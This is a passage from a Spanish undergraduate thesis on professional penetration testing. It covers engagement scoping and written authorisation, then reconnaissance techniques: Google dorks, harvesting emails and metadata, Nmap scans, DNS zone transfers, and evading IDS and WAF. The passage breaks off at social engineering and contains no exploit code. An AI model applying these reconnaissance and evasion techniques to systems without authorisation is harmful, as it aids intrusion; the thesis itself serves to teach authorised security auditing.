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Resumen

Este Trabajo de Fin de Grado pretende proporcionar una vision general de las
fases que debe tener una auditoria de seguridad informatica profesional, asi como
enumerar las herramientas mas utilizadas en cada fase. Para ello se parte del Penetration
Testing Execution Standard ampliandolo utilizando fuentes actuales y contrastadas.
Ademas, incluye una seccién con lugares donde practicar el pentest de forma gratuita y
otra en la que se realiza una pequefia auditoria para poner a prueba la metodologia y
herramientas nombradas contra maquinas virtuales vulnerables disponibles en la red.

Palabras clave

Hacking Etico, Pentest, Seguridad informatica

Abstract

This final degree project aims to provide a general vision of the phases that a
professional penetration test must have and enumerate the most used tools for each phase.
In order to do that, it is based on the Penetration Testing Execution Standard and extends
it using current and contrasted sources. In addition, it also includes a section with places
where the pentest can be practiced with no cost. Furthermore, it also includes a section
with a small pentest to test the methodology and tools against vulnerable virtual machines
found on the Internet.

Key words
Ethical Hacking, Pentest, Security



Desarrollo e implementacion practica de un PENTEST 2

INDICE DE CONTENIDOS

IR [ 0T [N Toox o] o PSR SR URTRPRPRN 3
1.1 Relevancia del temMa ........ccoviiiiiiiiicese e s 3
1.2 ODJEEIVOS ..ottt 3
1.3 Precedentes del PrOYECTO.......ccoiiiiiiiiiieeeee s 4
1.4 EStructura del ProYECtO ......coccveieeiiiie e 4

2. Fases de un pentest y herramientas €n LINUX ........ccccooviiiinieienencneseseeene 5
2.1 COMUNICACION PrEVIA ...cvvvieenieiiiieieeieeie ettt e 5
2.2 Recogida de informacion ............ccccoeveieiicii e 7
2.3 Modelado de aMENAZAS .........ccueiieeeiierieeie et 14
2.4 Andlisis de vulnerabilidades ..........ccccevevereieiiiiiiececeee e 17
2.5 EXPIOACION ...ttt 21
2.6 POSt-XPIOTACION. ....c.eiuieiiiiiieiec e s 25
2.7 Elaboracion del informe.........cooveieeieiecc e 29

3.Pentest en otros Sistemas OPErativosS...........ccvevveiieiieeriesieese e 32

4.Lugares donde practicar €l PENTEST ........ccoieiiriiiiiieree e 34

. PIUBDAS ...t et 36
5.1 Metodologia utilizada ............ccccovevieiieieiie e 36
5.2 Descripcion del banco de pruebas...........cocooevereeneneieineneese s 36
5.3 Pruebas realizatas...........ccovvieeiieieiieseeie et 36

B. CONCIUSIONES......oviiieitieiieieie ettt b sreereas 48
6.1 Cumplimiento del ODJELIVO.........ccviiiiieec e 48
6.2 Problemas eNCONTrat0S .........ccuevveierieieeieseesieee e e e e e ee e snee e 48
6.3 Conclusiones sobre el Proyecto.........cccvveveiieiieic i 48

BiIbIIOGIafia.......cueeeeee e 49



Desarrollo e implementacion practica de un PENTEST 3

1. INTRODUCCION

1.1 RELEVANCIA DEL TEMA

Cuando hablamos de auditoria de seguridad, test de penetracion o pentest nos
referimos al conjunto de actividades emprendidas con el objetivo de identificar y explotar
vulnerabilidades en una red o sistema, con el objetivo de poner a prueba los sistemas de
seguridad existentes, para asi poder subsanar los fallos encontrados antes de que sean
aprovechados por un atacante no autorizado.

La seguridad informatica es un tema que esta de plena actualidad por casos como
la filtracion de los papeles de Panamd, debida supuestamente a una intromision no
autorizada en el servidor de correo de un bufete de abogados [1], asi como por otros
ocurridos en afos anteriores como las filtraciones de WikiLeaks [2], el caso Snowden [3]
o el ataque a Sony Pictures [4].

Segun el Instituto Nacional de Ciberseguridad en su recopilacion de titulares de
ciberseguridad de 2015 [5], el cibercrimen y las fugas de informacion han sufrido un
marcado aumento desde principios de 2014, como puede verse en la figura 1 bajo estas
lineas y, ademas, sefiala que esta tendencia al alza va a mantenerse. El aumento de
titulares relacionados con la seguridad en la prensa generalista indica un aumento en el
namero y la gravedad de los ciberataques que no puede ser pasada por alto. Por
consiguiente, consideramos de gran importancia la realizacion de este trabajo sobre la
auditoria de seguridad informatica.

2014 2013

Figura 1: Aumento de titulares sobre ciberataques desde 2014

Ya que, como dijo el famoso experto en seguridad Gene Spafford, "El Unico
sistema seguro es aquél que esta apagado en el interior de un bloque de hormigén
protegido en una habitacion sellada rodeada por guardias armados e incluso asi tengo mis
dudas" es importante dedicar los recursos necesarios para la proteccion de los datos e
infraestructuras de una organizacion mediante la realizacion de auditorias de seguridad
de forma periddica.

1.2 OBJETIVOS

Este trabajo no pretende de ningin modo ser una guia definitiva sobre pentest,
solo pretende esbozar las fases que toda auditoria de seguridad profesional debe tener y
algunas de las herramientas y técnicas mas conocidas para la consecucion de cada fase.

Asi pues, en el presente trabajo abordaremos el pentest o auditoria de seguridad
desde una perspectiva profesional y lo méas cercana posible a como la realizaria una
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empresa real usando como base el Penetration Testing Execution Standard y ampliandolo
usando siempre fuentes de informacion contrastadas y actuales.

Durante la exposicion de las fases del pentest comentaremos, sobre todo,
herramientas gratuitas y de codigo abierto disponibles en la distribucion Kali Linux,
aunque también dedicaremos una seccion a programas disponibles en otros sistemas
operativos y otra a lugares donde practicar el pentest de forma gratuita.

Por ultimo, realizaremos una pequefia auditoria en la que aplicaremos los
conocimientos adquiridos utilizando la metodologia y las herramientas nombradas para
comprobar si funcionan efectivamente en la practica.

1.3 PRECEDENTES DEL PROYECTO

Dada la popularidad del tema -y contrariamente a lo que pudiera parecer- no
hemos encontrado muchos TFC o TFG relacionados con la seguridad informatica ni con
la auditoria de seguridad en nuestra universidad. Los dos Unicos trabajos que tratan el
tema directamente son “Auditoria de Seguridad Informatica” escrito por Antonio Alegria
en 2009 y "Auditorias de seguridad informéatica y la OSSTMM™" escrito por Alberto
Hervalejo en el mismo afio, de los cuales solo hemos podido acceder al segundo.

Este Gltimo trata el tema de la auditoria de seguridad centrandose principalmente
en el Open Source Security Test Methodology Manual de ISECOM y afiade comentarios
para ayudar al lector a comprenderlo mejor.

Si ha habido otros trabajos que tratan de forma marginal el tema o se centran en
un apartado especifico como la seguridad inalambrica. Un ejemplo seria el de Juan Marti
titulado “Seguridad de redes de area local inaldmbrica en entornos corporativos” en 2005
o el de Celine Ballester “Seguridad en redes inalambricas” en 2003, ambos tutorizados
por Jaime Lloret, que también dirige el presente trabajo.

Como puede verse, todos los trabajos nombrados tienen una antigiiedad superior
a los siete afos, por lo que consideramos importante la realizacion de este TFG que
pretende proporcionar conocimientos y fuentes actuales en un campo que cambia tan
rapidamente como el de la seguridad.

1.4 ESTRUCTURA DEL PROYECTO

En el siguiente capitulo del proyecto explicaremos nuestra eleccién del PTES para
la estructura de la parte tedrica de este trabajo y definiremos las siete fases de un pentest
y las herramientas mas cominmente utilizadas para cada una de ellas en el SO Linux.

En el tercer capitulo, hablaremos de las herramientas disponibles exclusivamente
en Windows y MacOS asi como de recopilaciones de herramientas disponibles para que
estos sistemas puedan usarse como plataformas de pentest.

En el cuarto, comentaremos algunos sitios web en los que encontrar recursos para
el aprendizaje practico del pentest mediante el uso de maquinas virtuales tanto en linea
como fuera de linea.

En el quinto capitulo, realizaremos un pequefio pentest dado que no ha sido
posible realizar uno méas exhaustivo debido a la propia complejidad del tema y a la
limitacion de espacio, en él seguiremos las fases y herramientas definidas anteriormente.

En el ultimo capitulo del trabajo, extraeremos conclusiones de los resultados
obtenidos en la quinta parte y evaluaremos si se han cumplido los objetivos.
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2. FASES DE UN PENTEST Y HERRAMIENTAS EN LINUX

Como hemos comentado anteriormente organizaremos la parte tedrica de este
TFG basandonos en las siete fases definidas en el Penetration Testing Execution
Standard. Hemos elegido esta metodologia debido a que ha sido redactada por algunos
de los mayores expertos del sector. La mayoria de ellos son CEO de su propia empresa y
ponentes habituales en las mas importantes convenciones de seguridad como BlackHat o
DEFCON. Ademas, creemos que la terminologia usada no es tan compleja como la
utilizada en otras metodologias por lo que resulta facil de entender y aplicar. A
continuacion, comenzaremos con la primera de las fases, la comunicacion previa con el
cliente.

2.1 COMUNICACION PREVIA

El objetivo de esta seccion del PTES es explicar los diferentes aspectos que deben
contemplarse para que la comunicacion inicial con el cliente sea exitosa.

En primer lugar, previamente a la realizacion del pentest debemos establecer una
comunicacion inicial con el cliente y entender en profundidad los objetivos que persigue
al realizarlo. Para ello es muy util tener preparados unos cuestionarios que permitan un
primer acercamiento a las necesidades del cliente. Varios ejemplos de dichos
cuestionarios se encuentran en Anexos.

Cada cliente tiene unas necesidades especificas y lo que es critico para un cliente
puede no serlo para otro. Por ejemplo, a una tienda online pasar horas fuera de linea le
puede significar la pérdida de miles de euros en ventas. Sin embargo, para un banco, seria
mucho mas grave la pérdida y divulgacién de una base de datos de tarjetas de crédito.

Hay varios temas en los que auditor y cliente deben ponerse de acuerdo durante
la comunicacion inicial los cuales trataremos a continuacion.

Normalmente, el primer documento que veremos durante una negociacion
contractual es el acuerdo de confidencialidad, este es necesario para proteger la privacidad
de cualquier informacion que consigamos durante la auditoria. Al firmarlo, nos
comprometemos a mantener la confidencialidad de los datos del cliente, durante y
también después de la auditoria, hasta el momento de su destruccion. Este acuerdo incluye
cualquier tipo de informacion relacionada con el cliente, desde capturas de pantalla,
pulsaciones de teclas, correos intercambiados, hasta planes de marketing o negocio,
informacién financiera y cualquier dato remotamente relacionada con la auditoria.

Ademéas de comprometernos a no revelar informacién a terceros, en este
documento también se acuerda guardar toda la informacion obtenida bajo llave, ya que
seria desastroso si alguien entrara en nuestros sistemas y descubriera los detalles para
acceder a la red del cliente. [6]

Asimismo, definir el alcance es una de las partes mas importantes de un test de
penetracion, y también una de las mas obviadas. Descuidar la correcta realizacion de la
comunicacion inicial puede provocar al auditor o a su empresa muchos problemas
incluyendo el scope creep (aumentos no controlados en el alcance del proyecto), clientes
insatisfechos o incluso problemas legales. De este modo, el alcance de un proyecto define
especificamente qué se va a probar y qué no.

Es comdn encontrar clientes que no saben exactamente qué necesitan auditar o
gue no son capaces de comunicar de manera efectiva qué esperan de la auditoria. Por ello,
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durante la comunicacién inicial es importante que el auditor guie al cliente en los detalles
de esta. Por consiguiente, serd necesaria una reunion con el cliente para definir el alcance.
Otros aspectos, como el coste y el método utilizado, serén tratados en reuniones aparte.

Para empezar, es necesario establecer explicitamente que rangos de direcciones
IP estan dentro del alcance del test. Por ejemplo, en la reunion deberia verificarse que el
cliente posee todos los sistemas a auditar como el servidor DNS, el servidor de e-mail, el
servidor en el que estan alojadas sus paginas web o su sistema de firewall/IDS/IPS. Hay
muchas compafiias que externalizan estos servicios y seria necesario un permiso por
escrito de la compaiiia propietaria del equipo para realizar pruebas en ellos.

Ademas, se debe tener en cuenta en qué lugar se encuentran los sistemas que se
van a auditar, ya que la ley varia de unas zonas geograficas a otras y el test puede cambiar
en funcion de ello. Por ejemplo, en los paises pertenecientes a la Unidn Europea es comun
la existencia de leyes muy estrictas respecto a la privacidad de los individuos y esto podria
alterar de manera significativa la forma en que se realizaria una prueba de ingeniera
social. [7]

Por otro lado, mientras que el alcance define qué probaremos, las reglas del test
definen como se va a realizar el proceso. Estos son dos aspectos diferentes que deben
tratarse por separado.

Es esencial establecer una linea de tiempos clara, definir fechas para el inicio y
finalizacion del test y también planificar en que se invertira exactamente el tiempo. Tener
una linea de tiempo bien definida al principio del test ayudara a todos los involucrados a
identificar qué se debe hacer y quién serd responsable de cada parte. Ademas, si la
organizacion tiene una gran cantidad de ubicaciones a auditar, es necesario determinar las
ubicaciones a las que debera desplazarse el auditor durante el proceso. [7]

Otro aspecto importante de la comunicacion previa es el tiempo estimado de
realizacion de la auditoria. Este esta directamente relacionado con la experiencia del
auditor, pues si tiene experiencia le sera mas facil determinar cuanto llevaréa realizarlo.
En caso contrario, una buena opcion seria releer correos electronicos y registros de test
similares que haya realizado la empresa para poder hacer una aproximacion. Una vez la
estimacién haya sido calculada es prudente afiadir un 20% a ese tiempo.

Este tiempo extra -llamado padding- es absolutamente necesario en cualquier
auditoria. Proporciona un margen de seguridad en caso de que ocurra alguna interrupcién
durante el proceso, bien sea esta una caida de red o el descubrimiento de una
vulnerabilidad que requiera una solucion inmediata. [7]

Ademas, el auditor debe adaptar la realizacién del test al horario establecido por
el cliente (ya que puede querer realizarlo en determinada franja horaria o ciertos dias de
la semana, por ejemplo, fuera de horas de trabajo o en fin de semana). [8] [7]

Otro aspecto muy importante a tratar es el contacto con el cliente. En este sentido,
debe quedar claro cada cuanto tiempo se informara de los avances, qué tipo de
comunicacion y de encriptado se utilizarg, etc. También es imprescindible un contacto de
emergencia para informar al cliente de cualquier vulnerabilidad critica encontrada. [7]

En otro orden de cosas, los ataques de ingenieria social son ampliamente usados
por los atacantes aprovechando pretextos de lo méas variopintos. El auditor debe
asegurarse de que todos aquellos pretextos que pretenda utilizar sean aceptables en un
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entorno corporativo. Por ello, debe contar con la aprobacion por escrito de la empresa
para usarlos. [7]

Asimismo, la realizacion de un ataque de denegacion de servicio (DoS) o de
denegacién de servicio distribuido (DDoS) debe ser tratada con el cliente antes del
principio de la auditoria debido a que es un tema que preocupa a las organizaciones por
su peligro intrinseco.

Si la organizacion esté preocupada por la disponibilidad de sus servicios el ataque
debera ser realizado en un entorno de pruebas que sea idéntico al entorno de produccion.
Sin embargo, no es necesario realizar la prueba si la organizacién sélo esta preocupada
por la confidencialidad e integridad de sus datos. [7]

Otro aspecto importante a tener en cuenta durante una auditoria es la proteccion
de los datos, ya que durante ella se consigue informacion de naturaleza delicada. Por este
motivo es importante que los datos obtenidos estén bien protegidos. La encriptacion de
los datos es una de los primeros pasos que debemos tomar para su proteccion, asi,
debemos encriptar siempre los discos duros que usemos y también usar la contrasefia del
BI1OS para proteger los datos en caso de robo o acceso no autorizado.

Otra buena préactica es guardar los discos duros en una caja fuerte siempre que sea
posible, ya que ademas de protegerlos contra robo también resultaran protegidos contra
incendios y otros incidentes, estas medidas también pueden aplicarse a portatiles.
Ademas, un laboratorio de auditorias deberia estar en una habitacion separada con
controles de seguridad para restringir el acceso a personal no autorizado. [6]

En otro orden de cosas, es muy importante que el pentest no empiece hasta que no
haya sido firmado el permiso para realizarlo. Este documento determina el alcance del
proyecto y contiene las firmas que demuestran que el cliente conoce y aprueba las
actividades del auditor. Ademas, debe especificar que el proceso puede generar
inestabilidad en los sistemas, pero que el auditor pondréa el maximo cuidado posible en
no derribar ningun sistema durante el test. Sin embargo, en caso de error, el cliente no
haré responsable de ello al auditor.

Otro aspecto que debe ser tratado antes de iniciar el test es el pago. Debe quedar
claro y recogido por escrito en qué fechas y condiciones se realizara. [7]

Una vez tratados todos los puntos anteriores y firmados los documentos
pertinentes podremos empezar la siguiente fase dedicada a la recogida de informacion.

2.2 RECOGIDA DE INFORMACION

La primera fase de cualquier test de penetracion es la recogida de informacion, en
ella se pretende obtener la maxima cantidad de informacién posible sobre el objetivo,
para utilizarla en las fases posteriores ya que cuanta mas informacion se consiga en esta
fase mas posibles vectores de ataque tendremos disponibles. [7]

Podemos ampliar esta definicion afiadiendo que el objetivo del Footprinting es
pasar de un objetivo en el mundo real (una empresa, corporacion, gobierno u otra
organizacion) a un objetivo en el mundo virtual, es decir, una lista de direcciones IP
relevantes y accesibles. [9]

En el presente apartado nos basaremos en la estructura proporcionada por [10] que
asu vez se basaen [7].
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Normalmente, la recogida de informacion se divide en dos partes, en la primera
se recoge informacion de forma externa a la organizacion por lo que es denominada
External Footprinting, la segunda parte sera realizada cuando se haya obtenido acceso a
la red de la organizacion y nuestro objetivo sera obtener la maxima cantidad de
informacion posible para asi poder continuar nuestro ataque, esta parte que trataremos en
la fase de post-explotacion es llamada Internal Footprinting. [10]

La parte de External Footprinting a su vez puede dividirse en dos partes segun la
agresividad de los métodos usados para obtener la informacion, si no hay contacto directo
con la empresa auditada se considerara que el método es pasivo y si hay contacto directo
que es activo.

Una de las técnicas mas ampliamente utilizadas para el Passive Footprinting es el
método OSINT (Open Source Intelligence) que se basa en la obtencion de conocimiento
desde fuentes de acceso publico. [11]

Los autores de [7] amplian y concretan esta definicion afiadiendo que el método
OSINT es usado para encontrar los puntos de entrada a una organizacién. Estos puntos
de acceso pueden ser fisicos, electronicos 0 humanos ya que muchas organizaciones o sus
empleados no son conscientes de la informacion que hacen publica ni de cdmo esta puede
ser usada por un atacante.

No obstante, aunque sea el método méas usado, no esta exento de inconvenientes
porque, como sefiala [7], el principal problema de OSINT es que la informacion obtenida
puede no ser exacta; las fuentes de informacién pueden ser manipuladas deliberada o
accidentalmente para proporcionar informacion erronea; la informacion puede volverse
obsoleta con el paso del tiempo o, simplemente, estar incompleta.

Del mismo modo, [11] coincide en la importancia de valorar las fuentes que
utilizamos ya que una eleccion equivocada puede tener como consecuencia resultados
erroneos y desinformacion. Y, ademas, sefiala otro posible problema, este surge a raiz de
la cantidad de informacion disponible en la red ya que, si disponemos de una gran
cantidad de datos, pero no de los medios para examinarlos se produciria una ralentizacion
del proceso, por lo cual es vital seleccionar las fuentes de informacién correctas.

Para la realizacion del Passive Footprinting contamos con infinidad de
herramientas. A continuacion, hablaremos someramente de algunas de las méas usadas.

Normalmente, el primer sitio al que se debe acudir para recoger informacion es la
web de la propia empresa a auditar. En algunos casos, puede ser Gtil usar la herramienta
HTTrack recomendada por [9] y [12] para crear una copia idéntica pero fuera de linea de
dicha pagina web. La copia incluira todas las paginas, enlaces, imagenes y codigo de la
web original. Esto nos permite explorar y recoger informacion fuera de linea sin perder
tiempo esperando las respuestas del servidor web.

Tambien, es importante saber que cuanto mas tiempo se pase navegando por el
sitio web mas probable es que la actividad sea registrada o monitorizada. Ademas, al
clonar un sitio web es dificil pasar desapercibido debido a la cantidad de peticiones
realizadas al servidor.

Bien realicemos una copia de la web o simplemente estemos navegando por ella,
es importante prestar atencion a los detalles. Con frecuencia, se pueden encontrar, sin
mucho esfuerzo, numeros de teléfono, direcciones de correo electronico, horario de
trabajo, empresas asociadas, nombres de empleados, redes sociales, etc.
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Asimismo, debemos fijarnos en apartados como “Noticias” o “Anuncios” ya que
las compariias suelen filtrar informacion de forma no intencionada. De este modo,
debemos estar atentos a fusiones de compafiias 0 compras, ya que incluso la fusion mas
fluida crea cambio y desorden que puede ser aprovechado para, por ejemplo, un ataque
de ingenieria social.

Por ultimo, también es importante fijarnos en los puestos de trabajo técnico
ofertados por la compafiia, ya que suelen revelar informacion detallada sobre las
tecnologias y equipos usados por la organizacion.

En muchos casos, una vez que hayamos examinado concienzudamente la web de
la empresa auditada, tendremos la suficiente informacion sobre ella (quiénes son, qué
hacen, donde esté situada, que tecnologias usa) para llevar a cabo un Footprinting mas en
profundidad. [12]

Otra de las formas cléasicas de obtener informacion sobre nuestro objetivo es el
servicio Whois. Este nos da acceso a datos como la direccion IP; el host name de los DNS
de la compafiia o informacion de contacto (tales como la direccion o el nimero de
teléfono). [7] [9] [12] [10]

Una vez hemos investigado en profundidad la web de la empresa, podemos pasar
a aplicar el Google Hacking, que consiste en usar algunas funciones del famoso buscador
y sus opciones de busqueda para conseguir informacion mas precisa o detallada de la que
conseguiriamos con una basqueda normal. EI nimero de comandos o dorks disponibles
para la busqueda avanzada es muy grande y dependera del criterio del auditor cuales usar.
[12] [9] [10]

Una de las mas utiles es “allintitle” que provoca que las paginas que tengan las
palabras buscadas en su titulo sean devueltas. Una forma de usarla seria usar la busqueda:
“allintitle: index of”’, que nos proporcionaria una lista de paginas web que tienen
indexados los directorios disponibles en su servidor web.

Otra directiva muy utilizada es “inurl”, que busca sitios web que contienen las
palabras buscadas en su URL. Por ejemplo, podriamos usar la busqueda: “inurl: admin”
para localizar la pagina para acceso administrativo de un determinado sitio web.

Otro posible uso de Google es navegar por una web usando la cache en vez de la
propia web del sitio. Este proceso no solo reduce las posibles huellas que podamos dejar
en el servidor web, sino que a veces permite ver paginas web o archivos que han sido
retirados del sitio web original. [6] [12]

También puede ser interesante utilizar otros buscadores como Yahoo! o Bing ya
que podrian proporcionar diferentes resultados incluso con los mismos criterios de
busqueda. [12] [9] [10]

Por otro lado, el gran crecimiento de las redes sociales como Facebook o Twitter
provee un nuevo medio para obtener informacién de toda indole. En este sentido, es
sorprendente la cantidad de datos que cualquier empleado puede proporcionar
inintencionadamente. Con esto nos referimos a informacién como nombres de familiares,
o fechas que podrian utilizarse en contrasefias, entre otras muchas posibilidades. Incluso
datos tan relevantes y comprometidos como ““se nos ha roto el firewall...” [9] [12] [7]

Asimismo, es importante conseguir la maxima cantidad posible de direcciones de
correo electronico y nombres de dominio relacionados con la empresa auditada. Una



Desarrollo e implementacion practica de un PENTEST 10

herramienta simple pero muy efectiva es TheHarvester. Esta puede ser usada en Google,
Bing y servidores PGP en busca de direcciones de correo y dominios. Ademas, también
puede ser usada en LinkedIn para buscar nombres. [9] [12] [7]

En este sentido, dado que muchas empresas usan los mismos nombres para los
usuarios y las direcciones de correo, podremos usar las direcciones recopiladas por
TheHarvester (y variaciones de ellas) para intentar autenticarnos en servicios como SSH,
VPN o FTP.

Otra excelente fuente de informacion son los metadatos, que, en nuestro caso, se
corresponden con los datos que pueden extraerse de un archivo y que no han sido puestos
intencionadamente por el usuario, sino que se producen de forma automatica. Un ejemplo
de esto podria ser un archivo Word o PDF, que puede incluir entre otras cosas: nombre
del archivo, tamafo, autor o la ubicacion donde fue guardado. Esto puede permitir, entre
otras cosas, el descubrimiento de nombres de usuario, nombres de PC y servidores, rutas
de red o ficheros.

Asi pues, una herramienta muy efectiva en la recopilacion de metadatos es
MetaGooFil. Su funcionamiento consiste en buscar en internet archivos pertenecientes a
la empresa auditada, descargarlos y extraer metadatos utiles. [12] [9] [7]

Una herramienta muy util para el Passive Footprinting y recomendada por [12] es
la pagina web Robtex ya que como sefiala [10], se la considera “La Navaja Suiza de
Internet” a causa de su capacidad de realizar partes del Active Footprinting de forma
pasiva como, por ejemplo, averiguar informacion sobre dominios, subdominios o
servidores DNS sin interactuar directamente con la organizacion auditada

Para empezar con el Active Footprinting, la herramienta que debemos utilizar y
en la que coinciden todos los libros consultados es Nmap. Segin [13] Nmap es una
herramienta para descubrimiento de redes y auditoria de seguridad que usa paquetes IP
no comunes para determinar que equipos hay disponibles en una red, que servicios tienen
en funcionamiento, que sistema operativo usan...

Para la realizacion del Active Footprinting nos centraremos en las funciones mas
basicas de esta herramienta, entre las que destacan los barridos ping y el escaneo de
puertos. El escaneo de puertos puede realizarse de varias maneras: la mas bésica es el
escaneo TCP. Este consiste en realizar el three-way handshake en cada puerto
especificado y luego cerrar la conexion. Si no especificamos ningun puerto, la
herramienta realizara el escaneo de los mil puertos mas comunes. Es recomendable
escanear todos los puertos, ya que cambiar los puertos que utiliza un servicio es una
medida de seguridad facil de implementar por un administrador.

Otra forma de realizar el escaneo de puertos es el escaneo SYN, que es el que
Nmap usa por defecto y es mas rapido que el escaneo TCP, puesto que en lugar de
completar el three-way handshake solo completa los dos primeros pasos del proceso.
Ademas, proporciona un cierto grado de sigilo, ya que al no completar el handshake no
suele quedar registrado en la maquina objetivo.

También es recomendable realizar un escaneo de puertos UDP. Dado que UDP es
un protocolo no orientado a la conexién es dificil para la herramienta saber si un puerto
estd abierto, pues el comportamiento por defecto, si esta abierto, suele ser absorber el
paquete. Una forma de conseguir mas informacion es usar la opcion “-sV” de la aplicacion
gue mandara paquetes especiales para provocar una respuesta de los puertos UDP vy asi
averiguar que servicios estan a la escucha.



Desarrollo e implementacion practica de un PENTEST 11

Nmap tiene muchas otras funciones como el Xmas Scan o el Null Scan. El primero
de ellos consiste en activar los flags FIN, PSH y URG de un paquete y desactivar SYN y
ACK. Con esto pretendemos obtener un paquete de RST si el puerto esta cerrado o
silencio si esta abierto, tal y como indica el TCP RFC. Por otra parte, el Null Scan consiste
en paquetes que no tienen activado ningun flag y la respuesta que esperamos conseguir
es la misma que con el Xmas Scan. Esto solo funcionara si el sistema operativo atacado
cumple completamente el TCP RFC, por ejemplo, en Windows no es asi. Es importante
destacar que ninguno de estos dos escaneos intenta establecer ningun tipo de conexion,
sino que su objetivo es determinar si un puerto esté abierto o cerrado.

Finalmente, debemos hablar del NSE (Nmap Scripting Engine), que nos permite
ampliar Nmap mas alla de las funciones de escaneo tradicionales. EI NSE nos permite
realizar tareas avanzadas como escaneo de vulnerabilidades, deteccién de puertas
traseras, entre muchas otras que ampliaremos en la fase de analisis de vulnerabilidades.
[12]

El segundo lugar donde buscar informacién sobre una compafiia es en sus
servidores DNS. Una de las primeras cosas que debemos intentar debe ser una
“transferencia de zona”, es decir, hacer que el servidor DNS crea que nosotros somos otro
servidor DNS y nos transfiera toda la informacion de su tabla de traduccion de nombres
de dominio a IP. [7] [12] [9]

La herramienta Dig recomendada en [7], [12] y [9] nos permite realizar la
transferencia de forma simple. Puesto que los servidores, si estan bien configurados, no
permiten realizar la transferencia de zona excepto a otras maquinas especificamente
autorizadas, podemos usar la herramienta Fierce recomendada en [7], [12] y [10] que
ademas de intentar la transferencia de zona también permite hacer un ataque por fuerza
bruta al servidor DNS. Este ataque consiste en hacer consultas para ver que nombres de
dominio existen realmente. Por ejemplo, si sabemos que la compafiia usa el dominio
“trustedsec.com” es posible que también posea el dominio “support.trustedsec.com” y
otros similares. Fierce nos permite realizar estas pruebas de forma automatizada.

Otra aplicacion que debemos tener en cuenta es Maltego, esta herramienta permite
recoger informacidon de manera grafica. Su funcionamiento se basa en entidades que
pueden ser nombres, direcciones de correo, nombres de dominio... Sobre ellas se pueden
aplicar acciones conocidas como transformadas que pretenden proporcionar informacion
relacionada con la entidad. Un ejemplo de estas transformadas es la capacidad de Maltego
de obtener los servidores de correo asociados a un dominio o de relacionar un nombre
con una direccién de correo.

Ademas, Maltego permite enlazar entidades y sus transformadas para obtener un
mapa que muestre la estructura de un dominio y los usuarios relacionados con él. Para
ello puede utilizar redes sociales como Facebook, Twitter o LinkedIn. [8] [7]

Los servidores de correo también permiten obtener informacion importante sobre
una organizacion, siempre que ésta posea un servidor propio. Por ejemplo, podemos
mandar un correo con un archivo ejecutable vacio con la intencién de que el servidor lo
revise y lo rechace. Normalmente, al rechazar el correo este volvera a nosotros e incluira
un mensaje predefinido explicando que el servidor no acepta correos con extensiones
peligrosas. A menudo este mensaje también indicara la marca y version del antivirus
usado para la inspecciéon del correo, dato muy importante para un atacante.



Desarrollo e implementacion practica de un PENTEST 12

Del mismo modo, el hecho de que el mensaje nos sea devuelto también nos
permitira examinar las cabeceras para obtener informacion basica del servidor de correo
como su direccién IP y la marca y version del software de correo usado. [9] [7] [6]

A continuacion, trataremos la recogida de informacién sobre los servicios web
siguiendo la metodologia usada en [10] que a su vez se basa en [14]. Esta, consiste en:

- Identificacion del servidor web
- ldentificacién del Content Management System (CMS)
- ldentificacion de vulnerabilidades y plugins de los CMS

En primer lugar, es muy importante saber el tipo de servidor web que esta
ejecutandose, pues esto nos ayudara a buscar vulnerabilidades y exploits conocidos. La
forma mas facil de conocer el tipo y version del servidor web usado es analizar el Banner
del servicio. Hay una gran cantidad de herramientas que nos permiten detectar que
servicios se estan ejecutando, entre ellas las famosas Ncat, Nmap o su version grafica
Zenmap. Por defecto, Nmap solo indica la version del servicio si estd completamente
seguro, no obstante, existe un comando para forzar a la herramienta a que realice una serie
de pruebas para tratar de conocer que version usan los servicios. Sin embargo, aunque
nos devuelva la version del servidor podria tratarse de un falso positivo, por lo que seria
conveniente contrastar la informacion usando otra herramienta como WhatWeb que
trataremos més adelante.

Dado que muchos sitios web usan gestores de contenido (Wordpress, Joomla...)
resulta fundamental identificar cual se utiliza. La anteriormente mencionada WhatWeb
permite esta identificacién y ademas permite andlisis estadistico de paquetes, librerias
JavaScript y servidores web.

Ademas, los CMS tienen un disefio modular, es decir, permiten el uso de plugins
para personalizar el servicio web. Puesto que muchos de estos plugins no han sido creados
por los programadores del CMS, es frecuente encontrar vulnerabilidades que podrian ser
usadas para comprometer el servicio web. En relacion con lo anterior, encontramos
aplicaciones cuyo proposito es analizar, para un CMS determinado, su version y plugins
asociados. Algunas de estas herramientas son BlindElephant y Nikto.

Asimismo, Nikto es una de las herramientas mas completas para la realizacion de
una auditoria web. Por defecto, realiza un escaneo de todo el sitio web, con lo que
consigue detectar la version del servidor, el CMS usado, si hay algin plugin vulnerable e
incluso informa si ha detectado indicios del uso de balanceadores de carga, etcétera. Sin
embargo, no siempre es necesario realizar un escaneo completo ya que la cantidad de
“ruido” generado podria provocar que seamos descubiertos. Para evitarlo, existe una
funcion llamada “Scan Tuning” que permite elegir uno por uno los test que deseamos
realizar. En esta linea, también tiene disponibles distintas técnicas que permiten evadir
IDS, IPS y WAF.

Otro protocolo del que podemos extraer informacion util es VolP, ya que es
posible interceptar el trafico y escuchar conversaciones o suplantar a un usuario si se
cuenta con las herramientas adecuadas. Algunas de las que podemos usar para la recogida
de informacion en VolP son ACE VOIP y enumlAX. [10]

La primera es una herramienta de enumeracién de directorios VVoIP corporativos
usando DHCP, TFTP y HTTP, su funcionamiento consiste en hacerse pasar por un
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teléfono IP y descargar las entradas de nombre y extension que un determinado teléfono
podria mostrar en la pantalla de su interfaz. Actualmente solo soporta la tecnologia usada
en los teléfonos IP Cisco Unified. Por su parte, enumlAX, realiza la enumeracién de
usuarios a través de fuerza bruta usando el protocolo 1AX2. Puede usarse o bien con
diccionario o bien de manera secuencial.

Un aspecto que no debemos olvidar al realizar la recogida de informacion es la
deteccion de IDS y IPS. Para ello, contamos con varias herramientas como WAFWOOF y
Fragroute.

WAFWOOF, es un detector de Web Application Firewall (WAF), que son un tipo
especial de firewalls disefiados para funcionar con aplicaciones web. Esta herramienta
recibe como argumento una o varias URL y realiza una serie de pruebas para determinar
si la web auditada cuenta con un WAF. Actualmente puede detectar hasta 22 tipos
distintos. [9] [10]

Asimismo, Fragroute, es una herramienta disefiada para interceptar, modificar y
reescribir trafico saliente hacia un host determinado. Cuenta con funciones que
simplifican el retrasar, duplicar, fragmentar, reordenar, segmentar y en definitiva
modificar cualquier paquete saliente. Lo que nos permite poner a prueba los pardmetros
que tiene configurados un IDS o IPS para asi poder evitarlo. [15]

Ademas de los anteriores métodos, podemos usar la ingenieria social para obtener
informacion sobre una empresa, como a continuacion expondremos.

Asi pues, podemos definir la ingenieria social como el proceso de explotar las
